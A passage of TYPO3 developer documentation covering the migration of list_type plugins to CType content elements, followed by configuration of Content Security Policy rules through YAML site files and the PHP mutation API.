  mygroup.header = LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:mygroup.header
}
Copied!

Content elements compatible with TYPO3 v12.4 and v13

If your extension supplies content elements or plugins and supports both TYPO3 v12.4 and v13 you can keep the Page TsConfig for the New Content Element Wizard while you additionally supply the TCA settings for TYPO3 v13.

You should use the same content element group for both definition ways or the content element will be displayed twice, once in each group. Group common is automatically migrated to default for TYPO3 v13.

Best practices

Following are some good practices for creating custom content element types and plugins and for customizing content elements for usage in the backend.

Coding / structure

  • Use a sitepackage extension to maintain your site customization (such as backend layouts, custom content elements etc.)
  • How you structure your extensions depends a little on the use case and if they will be reused in several projects and / or made public. If you create one extension for every custom content element, you may want to think about whether they might be merged into one extension.
  • Do not use deprecated functionality. Read the Core Changelog to check for deprecations and breaking changes between TYPO3 versions.
  • Some naming conventions are described in the chapter Naming conventions.
  • Read (or skim) the Coding guidelines.

Backend usability

  • Make it easier for your editors by hiding the following by configuration

    • content elements that should not be used in the "Content Element Wizard"
    • fields that should not be filled out in the backend forms.

Migration: list_type plugins to CType

Deprecated since version 13.4

The plugin content element ( list) and the plugin sub types field ( list_type) have been marked as deprecated in TYPO3 v13.4 and will be removed in TYPO3 v14.0.

Several steps are important in the migration from list_type plugins to CType plugins:

  • Register plugins using the CType record type
  • Create update wizard which extends \TYPO3\CMS\Install\Updates\AbstractListTypeToCTypeUpdate and add list_type to CType mapping for each plugin to migrate.
  • Migrate possible FlexForm registration and add dedicated showitem TCA configuration
  • Migrate possible PreviewRenderer registration in TCA
  • Adapt possible content element wizard items in page TSconfig, where list_type is used
  • Adapt possible content element restrictions in backend layouts or container elements defined by third-party extensions like EXT:content_defender

Migration example: Extbase plugin

1. Adjust the Extbase plugin configuration

Extbase plugins are usually registered using the utility method \TYPO3\CMS\Extbase\Utility\ExtensionUtility::configurePlugin() in file EXT:my_extension/ext_localconf.php.

Add value ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT as fifth parameter, $pluginType, to the method ExtensionUtility::configurePlugin():

EXT:examples/ext_localconf.php (difference)
 use T3docs\Examples\Controller\FalExampleController;
 use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

 ExtensionUtility::configurePlugin(
     'Examples',
     'HtmlParser',
     [
         HtmlParserController::class => 'index',
     ],
+    [],
+    ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
 );
Copied!

If the fourth parameter, $nonCacheableControllerActions was missing you can set it to an empty array, the default value.

It is theoretically possible that the extension author did not use this utility method. In that case you have to change the TypoScript used to display your plugin manually. This step is similar to adjusting the TypoScript of a Core-based plugin.

2. Adjust the registration of FlexForms and additional fields

EXT:examples/Configuration/TCA/Overrides/tt_content.php (difference)
 use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
 use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

 $extensionKey = 'Examples';
 $pluginName = 'HtmlParser';
 $pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:htmlparser_plugin_title';

 // Register the HTML Parser plugin
 $pluginSignature = ExtensionUtility::registerPlugin(
     $extensionKey,
     $pluginName,
     $pluginTitle,
 );

-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_excludelist'][$pluginSignature]
-    = 'layout,select_key,pages';
-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature]
-    = 'pi_flexform';
-
-ExtensionManagementUtility::addPiFlexFormValue(
-    $pluginSignature,
-    'FILE:EXT:examples/Configuration/Flexforms/HtmlParser.xml',
-);

+ExtensionManagementUtility::addToAllTCAtypes(
+    'tt_content',
+    '--div--;Configuration,pi_flexform,',
+    $pluginSignature,
+    'after:subheader',
+);
+
+ExtensionManagementUtility::addPiFlexFormValue(
+    '*',
+    'FILE:EXT:examples/Configuration/Flexforms/HtmlParser.xml',
+    $pluginSignature,
+);
Copied!

The CType based plugin does not inherit the default fields provided by the TCA of the content element "List". These where in many cases removed by using subtypes_excludelist.

As these fields are not displayed automatically anymore you can remove this definition without replacement: Line 15 in the diff. If they have not been removed and are still needed, you will need to manually add them to your plugin type.

The subtypes_addlist was used to display the field containing the FlexForm, an possibly other fields in the list_type plugin. We remove this definition (Line 17) and replace it by using the utility method \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addToAllTCAtypes() (Line 25-30).

The utility method ExtensionManagementUtility::addPiFlexFormValue() needs to be changed from using the first parameter for the $pluginSignature to using the third parameter. The first parameter requires a certain list_type setting it to the wildcard * allows all list types. The third parameter limits it to the CType.

3. Provide an upgrade wizard

New in version 13.4

You can extend class AbstractListTypeToCTypeUpdate to provide a custom upgrade wizard that moves existing plugins from the list_type definition to the CType definition. The resulting upgrade wizard will even adjust backend user permissions for the defined plugins:

Class T3docs\Examples\Upgrades\ExtbasePluginListTypeToCTypeUpdate
final class ExtbasePluginListTypeToCTypeUpdate extends AbstractListTypeToCTypeUpdate
{

}
Copied!

4. Search your code and replace any mentioning of list_type

Search your code. If you used the list_type of your plugin in any custom database statement or referred to the according key within TypoScript, you will need to do the possible proper replacement.

Search your TCA definitions for any use of the now outdated configuration options.

Note, that if your old key was something like "example_pi1" you are not forced to set the CType to "ExamplePi1" with UpperCamelCase, but you could keep the old identifier. This makes replacements less time consuming.

Migration example: Core-based plugin

1. Adjust the plugin registration

EXT:my_extension/Configuration/TCA/Overrides/tt_content.php (diff)
 $pluginSignature = 'examples_pi1';
 $pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.examples_pi1.title';
 $extensionKey = 'examples';
 $flexFormPath = 'FILE:EXT:examples/Configuration/Flexforms/flexform_ds1.xml';

 // Add the plugins to the list of plugins
 ExtensionManagementUtility::addPlugin(
     [$pluginTitle, $pluginSignature, '', 'plugin'],
-    'list_type',
-    $extensionKey,
 );

-// Disable the display of layout and select_key fields for the plugin
-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_excludelist'][$pluginSignature]
-    = 'layout,select_key,pages';
-
-// Activate the display of the plug-in flexform field and set FlexForm definition
-$GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature] = 'pi_flexform';

+// Activate the display of the FlexForm field
+ExtensionManagementUtility::addToAllTCAtypes(
+    'tt_content',
+    '--div--;Configuration,pi_flexform,',
+    $pluginSignature,
+    'after:subheader',
+);

 ExtensionManagementUtility::addPiFlexFormValue(
-    $pluginSignature,
+    '*',
     $flexFormPath,
+    $pluginSignature,
 );
Copied!

2. Adjust the TypoScript of the plugin

If your plugin was rendered using typo3/cms-fluid-styled-content you are probably using the top level TypoScript object tt_content to render the plugin. The path to the plugin rendering needs to be adjusted as you cannot use the deprecated content element "list" anymore:

EXT:my_extension/Configuration/Sets/MyPluginSet/setup.typoscript (diff)
-tt_content.list.20.examples_pi1 = USER
-tt_content.list.20.examples_pi1 {
+tt_content.examples_pi1 =< lib.contentElement
+tt_content.examples_pi1 {
     20 = USER
     20 {
         userFunc = MyVendor\Examples\Controller\ExampleController->example
         settings {
             singlePid = 42
             listPid = 55
         }
         view {
             templateRootPaths.10 = {$templateRootPath}
             partialRootPaths.10 = {$partialRootPath}
             layoutRootPaths.10 = {$layoutRootPath}
         }
     }
     templateName = Generic
 }

 # Or if you used the plugin top level object:

-tt_content.list.20.examples_pi1 < plugin.tx_examples_pi1
+tt_content.examples_pi1.20 < plugin.tx_examples_pi1
Copied!

3. Provide an upgrade wizard for automatic content migration for TYPO3 v13.4 and v12.4

If your extension only supports TYPO3 v13 and above you can extend the Core class \TYPO3\CMS\Install\Updates\AbstractListTypeToCTypeUpdate .

If your extension also supports TYPO3 v12 and maybe even TYPO3 v11 you can use class \Linawolf\ListTypeMigration\Upgrades\AbstractListTypeToCTypeUpdate instead. Require via composer: linawolf/list-type-migration or copy the file into your extension using your own namespaces:

EXT:my_extension/Classes/Upgrades/PluginListTypeToCTypeUpdate.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Upgrades;

// composer req linawolf/list-type-migration
use Linawolf\ListTypeMigration\Upgrades\AbstractListTypeToCTypeUpdate;
use TYPO3\CMS\Install\Attribute\UpgradeWizard;

#[UpgradeWizard('myExtensionPluginListTypeToCTypeUpdate')]
final class PluginListTypeToCTypeUpdate extends AbstractListTypeToCTypeUpdate
{
    protected function getListTypeToCTypeMapping(): array
    {
        return [
            'my_extension_pi1' => 'my_extension_pi1',
            'my_extension_pi2' => 'my_extension_newpluginname',
        ];
    }

    public function getTitle(): string
    {
        return 'Migrates my_extension plugins';
    }

    public function getDescription(): string
    {
        return 'Migrates my_extension_pi1, my_extension_pi2 from list_type to CType.';
    }
}
Copied!

If you also have to be compatible with TYPO3 v11, register the upgrade wizard manually: Registering wizards for TYPO3 v11.

Content Security Policy

Introduction

Content Security Policy (CSP) is a security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting of malicious content being executed in the trusted web page context.

Think of CSP in terms of an "allow/deny" list for remote contents.

CSP rules are used to describe, which external assets or functionality are allowed for certain HTML tags (like <script>, <img>, <iframe>). This allows to restrict external resources or JavaScript execution with security in mind. When accessing a page, these rules are sent as part of the HTTP request from the server to the browser, and the browser will enforce these rules (and reject non-allowed content). These rejection are always logged in the browser console. Additionally, external tools can be configured to receive and track violations of the policy.

Content Security Policy declarations can be applied to a TYPO3 website in frontend and backend scope with a dedicated API. This API allows for site-specific or extension-specific configuration instead of manually setting the CSP rules with server-side configuration through httpd.conf/nginx.conf or .htaccess files.

To delegate Content Security Policy handling to the TYPO3 frontend, at least one of the feature flags:

needs to be enabled, or the site-specific csp.yaml configuration file needs to set the enforce or reporting disposition like this:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
enforce:
  inheritDefault: true
  # site-specific mutations could also be listed, like this:
  # mutations:
  #  - mode: "append"
  #    directive: "img-src"
  #    sources:
  #      - "cdn.example.com"
  #      - "assets.example.com"

# alternatively (or additionally!), reporting can be set too,
# for example when testing stricter rules than above
# (note the missing 'assets.example.com')
# reporting:
#   inheritDefault: true
#   mutations:
#    - mode: "append"
#      directive: "img-src"
#      sources:
#        - "cdn.example.com"
#
Copied!

Changed in version 13.0

In the TYPO3 backend the Content Security Policy is always enforced.

Within the TYPO3 backend, a specific backend module is available to inspect policy violations / reports, and there is also a list to see all configured CSP rules, see section Active content security policy rules.

Terminology

This document will use very specific wording that is part of the CSP W3C specification, these terms are not "invented" by TYPO3. Since reading the W3C RFC can be very intimidating, here are a few key concepts.

Directives

  • CSP consists of multiple rules (or "directives"), that are part of a "policy". This policy says, what functionality the site's output is allowed to use.
  • With that, several HTML tags can be controlled, like from which URLs images can be requested from, if and from where iframes are allowed, if and from where JavaScripts are allowed and so on. There is a long list of applicable directives, see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives with specific identifiers like default-src, img-src and so on.
  • Each directive may have several "attributes" (like the allowed URLs).
  • Directives may build upon each other, a bit like CSS definitions (Cascading Style Sheet) do. However, these are more meant to modify a basic rule on an earlier level, and called "mutations". The relation of a "child rule" to its "parent" is also called "ancestor chain". An example:

    If frame-src is not defined, it falls back to child-src, and finally falls back to default-src. But if frame-src is defined, it is used, and the sources from default-src are not used. In such a case, default-src listed sources have to be repeated (when wanted) explicitly in frame-src.

Applying the policy

  • A final policy is compiled of all these directives, and then sent as a HTTP response header Content-Security-Policy: ... (respectively Content-Security-Policy-Reporty-Only).
  • In TYPO3, directives can be specified via PHP syntax (within Extensions) and YAML syntax (within site configuration). Additionally, rules can be set via the PSR-14 event PolicyMutatedEvent.

Mutations

  • These rules can influence each other, this is where the concept of "mutations" come in. The "policy builder" of TYPO3 applies each configured mutation, no matter where it was defined.
  • Because of this, each mutation (directive definition) needs a specific "mode" that can instruct, how this mutation is applied: Should an existing directive be set, inherited, appended, remove or extended to the final policy (see Content Security Police modes).
  • Each directive is then applied in regard to its defined mode and can list one or more "sources" with the values of additional parameters of a directive. Sources are web site addresses / URLs (or just protocols), and also include some special keywords like self/none/data:.

Nonces

  • There are possible exemptions to directives for specific content created on specific pages created by TYPO3 in your frontend (or backend modules). To verify, that these exemptions are valid in a policy, a so-called "Nonce" (a unique "number used once") is created (details on https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce).

    • TYPO3 can manage these Nonces and apply them were configured.
    • Nonces are retrieved from \TYPO3\CMS\Core\Security\ContentSecurityPolicy\ConsumableNonce and will be used for any directive within the scope of a single HTTP request.
    • More details are covered in Nonce.

Policy violations and reporting

  • When a webpage with activated policies is shown in a client's browser, each HTML tag violating the policy will not be interpreted by the browser.
  • Depending on a configuration of a possible "Report", such violations can be submitted back to a server and be evaluated there. TYPO3 provides such an endpoint to receive and display reports in a backend module, but also third-party servers are usable.
  • Policies can be declared with "dispositions", to indicate how they are handled. "Enforce" means that a policy is in effect, and "Report" allows to only pretend a policy is in effect, to gather knowledge about possible improvements of a webpage's output. Both dispositions can be set independently in TYPO3.
  • All active rules can be seen in the backend configuration section, see Active content security policy rules.

Example scenario

Let's define a small real-world scenario:

  • You have one TYPO3 installation with two sites (frontend), example.com and example.org.
  • You have created custom backend modules for some distinct functionality.
  • example.com is a site where your editors fully control all frontend content, and they want to have full flexibility of what and how to embed. You use a CDN network to deliver your own large assets, like videos.
  • example.org is a community-driven site, where users can manage profiles and post chats, and where you want to prevent exploits on your site. Some embedding to a set of allowed web services (YouTube, Google Analytics) must be possible.

So you need to take care of security measures, and find a pragmatic way how to allow foreign content (like YouTube, widgets, tracking codes, assets)

Specifically you want to to set these following rules, as an example.

Rules for example.com (editorial)

  • <iframe> to many services should be allowed
  • <img> sources to anywhere should be allowed
  • <script> sources to cdn.example.com and *.youtube.com and *.google.com should be allowed

Rules for example.org (community)

  • <iframe> to cdn.example.com, *.youtube.com should be allowed
  • <img> sources to cdn.example.com and *.instagram.com should be allowed
  • <script> sources to cdn.example.com and *.youtube.com and *.google.com should be allowed

Rules for the TYPO3 backend

Normal TYPO3 backend rules need to be applied, so we only want to add some rules for custom backend modules:

  • <iframe> to cdn.example.com should be allowed
  • <img> sources to cdn.example.com should be allowed
  • <script> sources to cdn.example.com should be allowed

Resulting configuration example:

And this is how you would do that with a CSP YAML configuration file, one per site:

config/sites/example-com/csp.yaml | typo3conf/sites/example-com/csp.yaml
# Inherits default frontend policy mutations provided by Core and 3rd-party extensions (enabled per default)
inheritDefault: true
mutations:
  # Allow frames/iframes to TRUSTED specific locations
  # Avoid "protocol only" white-list like "https:" here,
  # because it could inject javascript easily, the most important reason
  # why CSP was invented was to block security issues like this.
  # (Note: it's "frame-src" not "iframe-src")
  - mode: "extend"
    directive: "frame-src"
    sources:
      - "https://*.example.org"
      - "https://*.example.com"
      - "https://*.instagram.com"
      - "https://*.vimeo.com"
      - "https://*.youtube.com"

  # Allow img src to anyhwere (HTTPS only, not HTTP)
  - mode: "extend"
    directive: "img-src"
    sources:
      - "https:"

  # Allow script src to the specified domains (HTTPS only)
  - mode: "extend"
    directive: "script-src"
    sources:
      - "https://cdn.example.com"
      - "https://*.youtube.com"
      - "https://*.google.com"
Copied!
config/sites/example-org/csp.yaml | typo3conf/sites/example-org/csp.yaml
# Inherits default frontend policy mutations provided by Core and 3rd-party extensions (enabled per default)
inheritDefault: true
mutations:
  # Allow frame/iframe src to the specified domains (HTTPS only)
  - mode: "extend"
    # (Note: it's "frame-src" not "iframe-src")
    directive: "frame-src"
    sources:
      - "https://cdn.example.com"
      - "https://*.youtube.com"

  # Allow img src to the specified domains (HTTPS only)
  - mode: "extend"
    directive: "img-src"
    sources:
      - "https://cdn.example.com"
      - "https://*.instagram.com"

  # Allow script src to the specified domains (HTTPS only)
  - mode: "extend"
    directive: "script-src"
    sources:
      - "https://cdn.example.com"
      - "https://*.youtube.com"
      - "https://*.google.com"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    // Provide declarations for the backend only
    Scope::backend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Extend,
            // Note: it's "FrameSrc" not "IFrameSrc"
            Directive::FrameSrc,
            new UriValue('https://cdn.example.com'),
        ),
        new Mutation(
            MutationMode::Extend,
            Directive::ImgSrc,
            new UriValue('https://cdn.example.com'),
        ),
        new Mutation(
            MutationMode::Extend,
            Directive::ScriptSrc,
            new UriValue('https://cdn.example.com'),
        ),
    ),
]);
Copied!

This is really just a simple demo, that has room for improvements. For example, the allowed list of *-src values to any directive could actually be set through their common parent, the default-src attribute. There is a very deep and nested possibility to address the attributes of many HTML5 tags, which is covered in depth on https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives.

You can take a look into the PHP enum \TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive , which gives you an overview of all supported directives.

Read on to understand more of the underlying API builder concepts below.

Configuration

Policy builder approach

The following approach illustrates how a policy is build:

<?php

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Policy;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Security\Nonce;

$nonce = Nonce::create();
$policy = (new Policy())
    // Results in `default-src 'self'`
    ->default(SourceKeyword::self)

    // Extends the ancestor directive ('default-src'),
    // thus reuses 'self' and adds additional sources
    // Results in `img-src 'self' data: https://*.typo3.org`
    ->extend(Directive::ImgSrc, SourceScheme::data, new UriValue('https://*.typo3.org'))

    // Extends the ancestor directive ('default-src'),
    // thus reuses 'self' and adds additional sources
    // Results in `script-src 'self' 'nonce-[random]'`
    // ('nonce-proxy' is substituted when compiling the policy)
    ->extend(Directive::ScriptSrc, SourceKeyword::nonceProxy)

    // Sets (overrides) the directive,
    // thus ignores 'self' of the 'default-src' directive
    // Results in `worker-src blob:`
    ->set(Directive::WorkerSrc, SourceScheme::blob);

header('Content-Security-Policy: ' . $policy->compile($nonce));
Copied!

The result of the compiled and serialized result as HTTP header would look similar to this (the following sections are using the same example, but utilize different techniques for the declarations):

Content-Security-Policy: default-src 'self';
    img-src 'self' data: https://*.typo3.org; script-src 'self' 'nonce-[random]';
    worker-src blob:
Copied!

Extension-specific

Policies for frontend and backend can be applied automatically by providing a Configuration/ContentSecurityPolicies.php file in an extension, for example:

EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries(
    [
        // Provide declarations for the backend
        Scope::backend(),
        // NOTICE: When using `MutationMode::Set` existing declarations will be overridden

        new MutationCollection(
            // Results in `default-src 'self'`
            new Mutation(
                MutationMode::Set,
                Directive::DefaultSrc,
                SourceKeyword::self,
            ),

            // Extends the ancestor directive ('default-src'),
            // thus reuses 'self' and adds additional sources
            // Results in `img-src 'self' data: https://*.typo3.org`
            new Mutation(
                MutationMode::Extend,
                Directive::ImgSrc,
                SourceScheme::data,
                new UriValue('https://*.typo3.org'),
            ),
            // NOTICE: the following two instructions for `Directive::ImgSrc` are identical to the previous instruction,
            // `MutationMode::Extend` is a shortcut for `MutationMode::InheritOnce` and `MutationMode::Append`
            // new Mutation(MutationMode::InheritOnce, Directive::ImgSrc, SourceScheme::data),
            // new Mutation(MutationMode::Append, Directive::ImgSrc, SourceScheme::data, new UriValue('https://*.typo3.org')),

            // Extends the ancestor directive ('default-src'),
            // thus reuses 'self' and adds additional sources
            // Results in `script-src 'self' 'nonce-[random]'`
            // ('nonce-proxy' is substituted when compiling the policy)
            new Mutation(
                MutationMode::Extend,
                Directive::ScriptSrc,
                SourceKeyword::nonceProxy,
            ),

            // Sets (overrides) the directive,
            // thus ignores 'self' of the 'default-src' directive
            // Results in `worker-src blob:`
            new Mutation(
                MutationMode::Set,
                Directive::WorkerSrc,
                SourceScheme::blob,
            ),
        ),
    ],
    [
        // You can also additionally provide frontend declarations
        Scope::frontend(),
        new MutationCollection(
            // Sets (overrides) the directive,
            // thus ignores 'self' of the 'default-src' directive
            // Results in `worker-src https://*.workers.example.com:`
            new Mutation(
                MutationMode::Set,
                Directive::WorkerSrc,
                new UriValue('https://*.workers.example.com'),
            ),
        ),
    ],
);
Copied!

The API here is much like the YAML syntax. The PHP code needs to return a mapped array of an MutationCollection instance with all rules put into a sub-array, containing instances of a single Mutation.

Each Mutation instance is like a Data Object (DO) where its constructor allows you to specifiy a mode (type MutationMode), a directive (type Directive) and one ore more actual values ("sources", type UriValue or SourceKeyword).

Additionally, a Scope instance object is included, which can either be Scope::backend() or Scope::frontend().

A good PHP IDE will allow for good autocompletion and hinting, and using a boilerplate configuration like the example above helps you to get started.

Backend-specific

The YAML configuration only applies to the frontend part of TYPO3. Backend policies need to be set using the PHP API, within an extension as described in the section above.

You need to ensure that Scope::backend() is set in the mapped return array for the rules you want to setup.

Site-specific (frontend)

In frontend, a dedicated sites/<my_site>/csp.yaml can be used to declare policies for a specific site, for example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
# Inherits default site-unspecific frontend policy mutations (enabled per default)
inheritDefault: true
mutations:
  # Results in `default-src 'self'`
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  # Extends the ancestor directive ('default-src'),
  # thus reuses 'self' and adds additional sources
  # Results in `img-src 'self' data: https://*.typo3.org`
  - mode: "extend"
    directive: "img-src"
    sources:
      - "data:"
      - "https://*.typo3.org"

  # Extends the ancestor directive ('default-src'),
  # thus reuses 'self' and adds additional sources
  # Results in `script-src 'self' 'nonce-[random]'`
  # ('nonce-proxy' is substituted when compiling the policy)
  - mode: "extend"
    directive: "script-src"
    sources:
      - "'nonce-proxy'"

  # Results in `worker-src blob:`
  - mode: "set"
    directive: "worker-src"
    sources:
      - "blob:"
Copied!

Disable CSP for a site

The Content Security Policy for a particular site can be disabled with the active key set to false:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
# "active" is enabled by default if omitted
active: false
Copied!

Site-specific Content-Security-Policy endpoints

The reporting endpoint is used to receive browser reports about violations to the security policy, for example if a YouTube URL was requested, but could not be displayed in an iframe due to a directive not allowing this.

Reports like this can help to gain insight, what URLs are used by editors and might need inclusion into the policy.

Since reports can be sent by any browser, they can possibly easily flood a site with requests and take up storage space. Reports are stored in the sys_http_report database table when using the endpoint provided by TYPO3.

To influence whether this endpoint accepts reports, the disposition-specific property reportingUrl can be configured and set to either:

true
to enable the reporting endpoint
false
to disable the reporting endpoint
(string)
to use the given value as external reporting endpoint

If defined, the site-specific configuration takes precedence over the global configuration contentSecurityPolicyReportingUrl.

In case the explicitly disabled endpoint still would be called, the server-side process responds with a 403 HTTP error message.

Changed in version 12.4.27 / 13.4.5

Example: Disabling the reporting endpoint
config/sites/<my-site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
enforce:
  inheritDefault: true
  mutations: {}
  reportingUrl: false
Copied!
Example: Using custom external reporting endpoint
config/sites/<my-site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
enforce:
  inheritDefault: true
  mutations: {}
  reportingUrl: https://example.org/csp-report
Copied!

Content Security Police modes

Adjusting specific directives / mutations for a policy can be performed via the following modes:

append

append
YAML
append
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::Append

Appends to a given directive.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
mutations:
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  - mode: "set"
    directive: "img-src"
    sources:
      - "example.org"

  - mode: "append"
    directive: "img-src"
    sources:
      - "example.com"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceKeyword::self,
        ),
        new Mutation(
            MutationMode::Set,
            Directive::ImgSrc,
            new UriValue('example.org'),
        ),
        new Mutation(
            MutationMode::Append,
            Directive::ImgSrc,
            new UriValue('example.com'),
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src 'self'; img-src example.org example.com
Copied!

extend

extend
YAML
extend
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::Extend

Extends the given directive. It is a shortcut for inherit-once and append.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
mutations:
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  - mode: "extend"
    directive: "img-src"
    sources:
      - "example.com"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceKeyword::self,
        ),
        new Mutation(
            MutationMode::Extend,
            Directive::ImgSrc,
            new UriValue('example.com'),
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src 'self'; img-src 'self' example.com
Copied!

inherit-again

inherit-again
YAML
inherit-again
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::InheritAgain

Inherits again from the corresponding ancestor chain and merges existing sources.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
inheritDefault: false
mutations:
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  - mode: "inherit-again"
    directive: "img-src"

  - mode: "append"
    directive: "img-src"
    sources:
      - "example.com"

  - mode: "set"
    directive: "default-src"
    sources:
      - "data:"

  - mode: "inherit-again"
    directive: "img-src"
Copied!
EXT:my_extension/Configuration/ContentSecurityPolicies.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Mutation;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Scope;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceKeyword;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\SourceScheme;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;
use TYPO3\CMS\Core\Type\Map;

return Map::fromEntries([
    Scope::frontend(),
    new MutationCollection(
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceKeyword::self,
        ),
        new Mutation(
            MutationMode::InheritAgain,
            Directive::ImgSrc,
        ),
        new Mutation(
            MutationMode::Append,
            Directive::ImgSrc,
            new UriValue('example.com'),
        ),
        new Mutation(
            MutationMode::Set,
            Directive::DefaultSrc,
            SourceScheme::data,
        ),
        new Mutation(
            MutationMode::InheritAgain,
            Directive::ScriptSrc,
        ),
    ),
]);
Copied!

Results in:

Content-Security-Policy: default-src data:; img-src data: 'self' example.com
Copied!

Note that data: is inherited to img-src (in opposite to inherit-once).

inherit-once

inherit-once
YAML
inherit-once
PHP
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationMode::InheritOnce

Inherits once from the corresponding ancestor chain. When inherit-once is called multiple times on the same directive, only the first time is applied.

Example:

config/sites/<my_site>/csp.yaml | typo3conf/sites/<my_site>/csp.yaml
inheritDefault: false
mutations:
  - mode: "set"
    directive: "default-src"
    sources:
      - "'self'"

  - mode: "inherit-once"
    directive: "img-src"

  - mode: "append"
    directive: "img-src"
    sources:
      - "example.com"

  - mode: "set"
    directive: "default-src"
    sources:
      - "data:"

  - mode: "inherit-once"
    directive: "img-src"
Copied!
